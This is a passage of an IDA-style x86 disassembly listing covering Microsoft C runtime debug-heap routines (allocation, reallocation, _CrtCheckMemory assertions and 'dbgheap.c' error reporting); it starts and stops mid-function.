mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_414C51: ; CODE XREF: sub_414BE0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_414BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C60 proc near ; CODE XREF: sub_4010AB+64p
; sub_403038+2A45p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
loc_414C6E: ; CODE XREF: sub_414C60+36j
cmp [ebp+arg_0], 0
jnz short loc_414C92
push offset dword_4334A4
push 0
push 3Ah
push offset dword_433498
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_414C92
int 3 ; Trap to Debugger
loc_414C92: ; CODE XREF: sub_414C60+12j
; sub_414C60+2Fj
xor eax, eax
test eax, eax
jnz short loc_414C6E
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_414CB1
mov eax, [ebp+arg_0]
mov dword ptr [eax+0Ch], 0
jmp short loc_414CD8
; ---------------------------------------------------------------------------
loc_414CB1: ; CODE XREF: sub_414C60+43j
mov ecx, [ebp+arg_0]
push ecx
call sub_418E90
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_414CF0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_418F00
add esp, 4
loc_414CD8: ; CODE XREF: sub_414C60+4Fj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_414C60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414CF0 proc near ; CODE XREF: sub_414C60+61p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
loc_414D06: ; CODE XREF: sub_414CF0+3Ej
cmp [ebp+arg_0], 0
jnz short loc_414D2A
push offset dword_4334B4
push 0
push 77h
push offset dword_433498
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_414D2A
int 3 ; Trap to Debugger
loc_414D2A: ; CODE XREF: sub_414CF0+1Aj
; sub_414CF0+37j
xor ecx, ecx
test ecx, ecx
jnz short loc_414D06
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_414D9A
mov ecx, [ebp+var_8]
push ecx
call sub_41B420
add esp, 4
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
push edx
call sub_41B2E0
add esp, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
call sub_41B1B0
add esp, 4
test eax, eax
jge short loc_414D76
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_414D9A
; ---------------------------------------------------------------------------
loc_414D76: ; CODE XREF: sub_414CF0+7Bj
mov edx, [ebp+var_8]
cmp dword ptr [edx+1Ch], 0
jz short loc_414D9A
push 2
mov eax, [ebp+var_8]
mov ecx, [eax+1Ch]
push ecx
call sub_415860
add esp, 8
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
loc_414D9A: ; CODE XREF: sub_414CF0+4Dj
; sub_414CF0+84j ...
mov eax, [ebp+var_8]
mov dword ptr [eax+0Ch], 0
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_414CF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414DB0 proc near ; CODE XREF: sub_4010AB+6p
; sub_402599+63p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, dword_4DB12C
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_414E20
add esp, 14h
pop ebp
retn
sub_414DB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414DD0 proc near ; CODE XREF: sub_4151E0+20p
; sub_4152A0+26p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, dword_4DB12C
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_414E20
add esp, 14h
pop ebp
retn
sub_414DD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E00 proc near ; CODE XREF: sub_419BB0+9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_414E20
add esp, 14h
pop ebp
retn
sub_414E00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E20 proc near ; CODE XREF: sub_414DB0+13p
; sub_414DD0+19p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
loc_414E24: ; CODE XREF: sub_414E20:loc_414E78j
push 9
call sub_41B780
add esp, 4
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_414EA0
loc_414E43: ; DATA XREF: ___:004447CCo
; ___:00444BBCo ...
add esp, 10h
mov [ebp+var_4], eax
push 9
call sub_41B820
add esp, 4
cmp [ebp+var_4], 0
jnz short loc_414E5F
cmp [ebp+arg_4], 0
jnz short loc_414E64
loc_414E5F: ; CODE XREF: sub_414E20+37j
mov eax, [ebp+var_4]
jmp short loc_414E7A
; ---------------------------------------------------------------------------
loc_414E64: ; CODE XREF: sub_414E20+3Dj
mov ecx, [ebp+arg_0]
push ecx
call sub_41B670
add esp, 4
test eax, eax
jnz short loc_414E78
xor eax, eax
jmp short loc_414E7A
; ---------------------------------------------------------------------------
loc_414E78: ; CODE XREF: sub_414E20+52j
jmp short loc_414E24
; ---------------------------------------------------------------------------
loc_414E7A: ; CODE XREF: sub_414E20+42j
; sub_414E20+56j
mov esp, ebp
pop ebp
retn
sub_414E20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+8]
push eax
call sub_414EA0
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414EA0 proc near ; CODE XREF: sub_414E20+1Ep
; ___:00414E8Dp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov eax, dword_443890
and eax, 4
test eax, eax
jz short loc_414EEC
loc_414EBC: ; CODE XREF: sub_414EA0+4Aj
call sub_415F70
test eax, eax
jnz short loc_414EE6
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 141h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_414EE6
int 3 ; Trap to Debugger
loc_414EE6: ; CODE XREF: sub_414EA0+23j
; sub_414EA0+43j
xor ecx, ecx
test ecx, ecx
jnz short loc_414EBC
loc_414EEC: ; CODE XREF: sub_414EA0+1Aj
mov edx, dword_443894
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
cmp eax, dword_443898
jnz short loc_414F01
int 3 ; Trap to Debugger
loc_414F01: ; CODE XREF: sub_414EA0+5Ej
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 0
push 1
call off_443C70
add esp, 1Ch
test eax, eax
jnz short loc_414F84
cmp [ebp+arg_8], 0
jz short loc_414F57
loc_414F2C: ; CODE XREF: sub_414EA0+B3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push offset aClientHookAllo ; "Client hook allocation failure at file "...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 1Ch
cmp eax, 1
jnz short loc_414F4F
int 3 ; Trap to Debugger
loc_414F4F: ; CODE XREF: sub_414EA0+ACj
xor edx, edx
test edx, edx
jnz short loc_414F2C
jmp short loc_414F7D
; ---------------------------------------------------------------------------
loc_414F57: ; CODE XREF: sub_414EA0+8Aj
; sub_414EA0+DBj
push offset aClientHookAl_0 ; "Client hook allocation failure.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_414F77
int 3 ; Trap to Debugger
loc_414F77: ; CODE XREF: sub_414EA0+D4j
xor eax, eax
test eax, eax
jnz short loc_414F57
loc_414F7D: ; CODE XREF: sub_414EA0+B5j
xor eax, eax
jmp loc_4151AC
; ---------------------------------------------------------------------------
loc_414F84: ; CODE XREF: sub_414EA0+84j
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_414FA6
mov edx, dword_443890
and edx, 1
test edx, edx
jnz short loc_414FA6
mov [ebp+var_C], 1
loc_414FA6: ; CODE XREF: sub_414EA0+F0j
; sub_414EA0+FDj
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_414FB7
mov eax, [ebp+arg_0]
add eax, 24h
cmp eax, 0FFFFFFE0h
jbe short loc_414FE3
loc_414FB7: ; CODE XREF: sub_414EA0+10Aj
; sub_414EA0+13Aj
mov ecx, [ebp+arg_0]
push ecx
push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
push 0
push 0
push 0
push 1
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_414FD6
int 3 ; Trap to Debugger
loc_414FD6: ; CODE XREF: sub_414EA0+133j
xor edx, edx
test edx, edx
jnz short loc_414FB7
xor eax, eax
jmp loc_4151AC
; ---------------------------------------------------------------------------
loc_414FE3: ; CODE XREF: sub_414EA0+115j
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 4
jz short loc_415030
cmp [ebp+arg_4], 1
jz short loc_415030
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_415030
cmp [ebp+arg_4], 3
jz short loc_415030
loc_41500A: ; CODE XREF: sub_414EA0+18Ej
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 1
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_41502A
int 3 ; Trap to Debugger
loc_41502A: ; CODE XREF: sub_414EA0+187j
xor edx, edx
test edx, edx
jnz short loc_41500A
loc_415030: ; CODE XREF: sub_414EA0+14Ej
; sub_414EA0+154j ...
mov eax, [ebp+arg_0]
add eax, 24h
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call sub_41B8E0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_415055
xor eax, eax
jmp loc_4151AC
; ---------------------------------------------------------------------------
loc_415055: ; CODE XREF: sub_414EA0+1ACj
mov edx, dword_443894
add edx, 1
mov dword_443894, edx
cmp [ebp+var_C], 0
jz short loc_4150B3
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_4]
mov dword ptr [eax+0Ch], 0FEDCBABCh
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+14h], 3
mov ecx, [ebp+var_4]
mov dword ptr [ecx+18h], 0
jmp loc_415153
; ---------------------------------------------------------------------------
loc_4150B3: ; CODE XREF: sub_414EA0+1C8j
mov edx, dword_4DB09C
add edx, [ebp+arg_0]
mov dword_4DB09C, edx
mov eax, dword_4DB0A4
add eax, [ebp+arg_0]
mov dword_4DB0A4, eax
mov ecx, dword_4DB0A4
cmp ecx, dword_4DB0A8
jbe short loc_4150E9
mov edx, dword_4DB0A4
mov dword_4DB0A8, edx
loc_4150E9: ; CODE XREF: sub_414EA0+23Bj
cmp dword_4DB0A0, 0
jz short loc_4150FF
mov eax, dword_4DB0A0
mov ecx, [ebp+var_4]
mov [eax+4], ecx
jmp short loc_415108
; ---------------------------------------------------------------------------
loc_4150FF: ; CODE XREF: sub_414EA0+250j
mov edx, [ebp+var_4]
mov dword_4DB098, edx
loc_415108: ; CODE XREF: sub_414EA0+25Dj
mov eax, [ebp+var_4]
mov ecx, dword_4DB0A0
mov [eax], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov [eax+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_C]
mov [edx+0Ch], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov [eax+14h], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov [edx+18h], eax
mov ecx, [ebp+var_4]
mov dword_4DB0A0, ecx
loc_415153: ; CODE XREF: sub_414EA0+20Ej
push 4
xor edx, edx
mov dl, byte_44389C
push edx
mov eax, [ebp+var_4]
add eax, 1Ch
push eax
call sub_417070
add esp, 0Ch
push 4
xor ecx, ecx
mov cl, byte_44389C
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
lea ecx, [eax+edx+20h]
push ecx
call sub_417070
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
xor eax, eax
mov al, byte_44389E
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
call sub_417070
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, 20h
loc_4151AC: ; CODE XREF: sub_414EA0+DFj
; sub_414EA0+13Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_414EA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151C0 proc near ; CODE XREF: sub_40C52A+1Ep
; sub_40C52A+37p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4151E0
add esp, 14h
pop ebp
retn
sub_4151C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151E0 proc near ; CODE XREF: sub_4151C0+11p
; sub_418D40+40p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_0]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_414DD0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_415239
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_415220: ; CODE XREF: sub_4151E0+57j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_4]
jnb short loc_415239
mov edx, [ebp+var_C]
mov byte ptr [edx], 0
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_415220
; ---------------------------------------------------------------------------
loc_415239: ; CODE XREF: sub_4151E0+2Fj
; sub_4151E0+46j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_4151E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415240 proc near ; CODE XREF: sub_4010AB+2Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
loc_415245: ; DATA XREF: ___:00444698o
; ___:004446A0o
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415260
add esp, 14h
pop ebp
retn
sub_415240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415260 proc near ; CODE XREF: sub_415240+11p
; sub_419BD0+50p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41B780
add esp, 4
push 1
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4152A0
add esp, 18h
mov [ebp+var_4], eax
push 9
call sub_41B820
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_415260 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152A0 proc near ; CODE XREF: sub_415260+24p
; sub_4157E0+24p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_14], 0
cmp [ebp+arg_0], 0
jnz short loc_4152D3
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_414DD0
add esp, 10h
jmp loc_4157AA
; ---------------------------------------------------------------------------
loc_4152D3: ; CODE XREF: sub_4152A0+14j
cmp [ebp+arg_14], 0
jz short loc_4152F6
cmp [ebp+arg_4], 0
jnz short loc_4152F6
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_415860
add esp, 8
xor eax, eax
jmp loc_4157AA
; ---------------------------------------------------------------------------
loc_4152F6: ; CODE XREF: sub_4152A0+37j
; sub_4152A0+3Dj
mov eax, dword_443890
and eax, 4
test eax, eax
jz short loc_415332
loc_415302: ; CODE XREF: sub_4152A0+90j
call sub_415F70
test eax, eax
jnz short loc_41532C
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 239h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41532C
int 3 ; Trap to Debugger
loc_41532C: ; CODE XREF: sub_4152A0+69j
; sub_4152A0+89j
xor ecx, ecx
test ecx, ecx
jnz short loc_415302
loc_415332: ; CODE XREF: sub_4152A0+60j
mov edx, dword_443894
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
cmp eax, dword_443898
loc_415344: ; DATA XREF: ___:00444900o
; ___:00444D54o
jnz short loc_415347
int 3 ; Trap to Debugger
loc_415347: ; CODE XREF: sub_4152A0:loc_415344j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_10]
push eax
loc_415353: ; DATA XREF: ___:00444AECo
; ___:00444B94o ...
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 2
call off_443C70
add esp, 1Ch
test eax, eax
jnz short loc_4153CC
cmp [ebp+arg_C], 0
jz short loc_41539F
loc_415374: ; CODE XREF: sub_4152A0+FBj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
push offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 1Ch
cmp eax, 1
jnz short loc_415397
int 3 ; Trap to Debugger
loc_415397: ; CODE XREF: sub_4152A0+F4j
xor eax, eax
test eax, eax
jnz short loc_415374
jmp short loc_4153C5
; ---------------------------------------------------------------------------
loc_41539F: ; CODE XREF: sub_4152A0+D2j
; sub_4152A0+123j
push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_4153BF
int 3 ; Trap to Debugger
loc_4153BF: ; CODE XREF: sub_4152A0+11Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41539F
loc_4153C5: ; CODE XREF: sub_4152A0+FDj
xor eax, eax
jmp loc_4157AA
; ---------------------------------------------------------------------------
loc_4153CC: ; CODE XREF: sub_4152A0+CCj
cmp [ebp+arg_4], 0FFFFFFDBh
jbe short loc_4153FE
loc_4153D2: ; CODE XREF: sub_4152A0+155j
mov edx, [ebp+arg_4]
push edx
push offset aAllocationTooL ; "Allocation too large or negative: %u by"...
push 0
push 0
push 0
push 1
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_4153F1
int 3 ; Trap to Debugger
loc_4153F1: ; CODE XREF: sub_4152A0+14Ej
xor eax, eax
test eax, eax
jnz short loc_4153D2
xor eax, eax
jmp loc_4157AA
; ---------------------------------------------------------------------------
loc_4153FE: ; CODE XREF: sub_4152A0+130j
cmp [ebp+arg_8], 1
jz short loc_415446
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_415446
mov edx, [ebp+arg_8]
and edx, 0FFFFh
cmp edx, 2
jz short loc_415446
loc_415420: ; CODE XREF: sub_4152A0+1A4j
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 1
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_415440
int 3 ; Trap to Debugger
loc_415440: ; CODE XREF: sub_4152A0+19Dj
xor eax, eax
test eax, eax
jnz short loc_415420
loc_415446: ; CODE XREF: sub_4152A0+162j
; sub_4152A0+170j ...
mov ecx, [ebp+arg_0]
push ecx
call sub_4163D0
add esp, 4
test eax, eax
jnz short loc_415477
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 261h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415477
int 3 ; Trap to Debugger
loc_415477: ; CODE XREF: sub_4152A0+1B4j
; sub_4152A0+1D4j
xor edx, edx
test edx, edx
jnz short loc_415446
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jnz short loc_415496
mov [ebp+var_14], 1
loc_415496: ; CODE XREF: sub_4152A0+1EDj
cmp [ebp+var_14], 0
jz short loc_4154DA
loc_41549C: ; CODE XREF: sub_4152A0+236j
mov edx, [ebp+var_8]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_4154B1
mov eax, [ebp+var_8]
cmp dword ptr [eax+18h], 0
jz short loc_4154D2
loc_4154B1: ; CODE XREF: sub_4152A0+206j
push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
push 0
push 26Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_4154D2
int 3 ; Trap to Debugger
loc_4154D2: ; CODE XREF: sub_4152A0+20Fj
; sub_4152A0+22Fj
xor ecx, ecx
test ecx, ecx
jnz short loc_41549C
jmp short loc_41553E
; ---------------------------------------------------------------------------
loc_4154DA: ; CODE XREF: sub_4152A0+1FAj
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_4154FF
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 1
jnz short loc_4154FF
mov [ebp+arg_8], 2
loc_4154FF: ; CODE XREF: sub_4152A0+248j
; sub_4152A0+256j ...
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp eax, ecx
jz short loc_415538
push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
push 0
push 272h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415538
int 3 ; Trap to Debugger
loc_415538: ; CODE XREF: sub_4152A0+275j
; sub_4152A0+295j
xor edx, edx
test edx, edx
jnz short loc_4154FF
loc_41553E: ; CODE XREF: sub_4152A0+238j
cmp [ebp+arg_14], 0
jz short loc_415569
mov eax, [ebp+arg_4]
add eax, 24h
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41BA10
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_415567
xor eax, eax
jmp loc_4157AA
; ---------------------------------------------------------------------------
loc_415567: ; CODE XREF: sub_4152A0+2BEj
jmp short loc_41558C
; ---------------------------------------------------------------------------
loc_415569: ; CODE XREF: sub_4152A0+2A2j
mov edx, [ebp+arg_4]
add edx, 24h
push edx
mov eax, [ebp+var_8]
push eax
call sub_41B960
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_41558C
xor eax, eax
jmp loc_4157AA
; ---------------------------------------------------------------------------
loc_41558C: ; CODE XREF: sub_4152A0:loc_415567j
; sub_4152A0+2E3j
mov ecx, dword_443894
add ecx, 1
mov dword_443894, ecx
cmp [ebp+var_14], 0
jnz short loc_4155F7
mov edx, [ebp+var_C]
mov eax, dword_4DB09C
sub eax, [edx+10h]
mov dword_4DB09C, eax
mov ecx, dword_4DB09C
add ecx, [ebp+arg_4]
mov dword_4DB09C, ecx
mov edx, [ebp+var_C]
mov eax, dword_4DB0A4
sub eax, [edx+10h]
mov dword_4DB0A4, eax
mov ecx, dword_4DB0A4
add ecx, [ebp+arg_4]
mov dword_4DB0A4, ecx
mov edx, dword_4DB0A4
cmp edx, dword_4DB0A8
jbe short loc_4155F7
mov eax, dword_4DB0A4
mov dword_4DB0A8, eax
loc_4155F7: ; CODE XREF: sub_4152A0+2FFj
; sub_4152A0+34Bj
mov ecx, [ebp+var_C]
add ecx, 20h
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
cmp eax, [edx+10h]
jbe short loc_41562F
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
sub edx, [ecx+10h]
push edx
xor eax, eax
mov al, byte_44389E
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
add edx, [ecx+10h]
push edx
call sub_417070
add esp, 0Ch
loc_41562F: ; CODE XREF: sub_4152A0+369j
push 4
xor eax, eax
mov al, byte_44389C
push eax
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
push ecx
call sub_417070
add esp, 0Ch
cmp [ebp+var_14], 0
jnz short loc_415669
mov edx, [ebp+var_C]
mov eax, [ebp+arg_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_10]
mov [ecx+0Ch], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
mov [eax+18h], ecx
loc_415669: ; CODE XREF: sub_4152A0+3ACj
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
mov [edx+10h], eax
loc_415672: ; CODE XREF: sub_4152A0+40Bj
cmp [ebp+arg_14], 0
jnz short loc_4156A7
cmp [ebp+arg_14], 0
jnz short loc_415686
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_8]
jz short loc_4156A7
loc_415686: ; CODE XREF: sub_4152A0+3DCj
push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
push 0
push 2A8h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_4156A7
int 3 ; Trap to Debugger
loc_4156A7: ; CODE XREF: sub_4152A0+3D6j
; sub_4152A0+3E4j ...
xor edx, edx
test edx, edx
jnz short loc_415672
mov eax, [ebp+var_C]
cmp eax, [ebp+var_8]
jz short loc_4156BB
cmp [ebp+var_14], 0
jz short loc_4156C3
loc_4156BB: ; CODE XREF: sub_4152A0+413j
mov eax, [ebp+var_4]
jmp loc_4157AA
; ---------------------------------------------------------------------------
loc_4156C3: ; CODE XREF: sub_4152A0+419j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx], 0
jz short loc_4156DB
mov edx, [ebp+var_C]
mov eax, [edx]
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
mov [eax+4], edx
jmp short loc_415717
; ---------------------------------------------------------------------------
loc_4156DB: ; CODE XREF: sub_4152A0+429j
; sub_4152A0+46Aj
mov eax, dword_4DB098
cmp eax, [ebp+var_8]
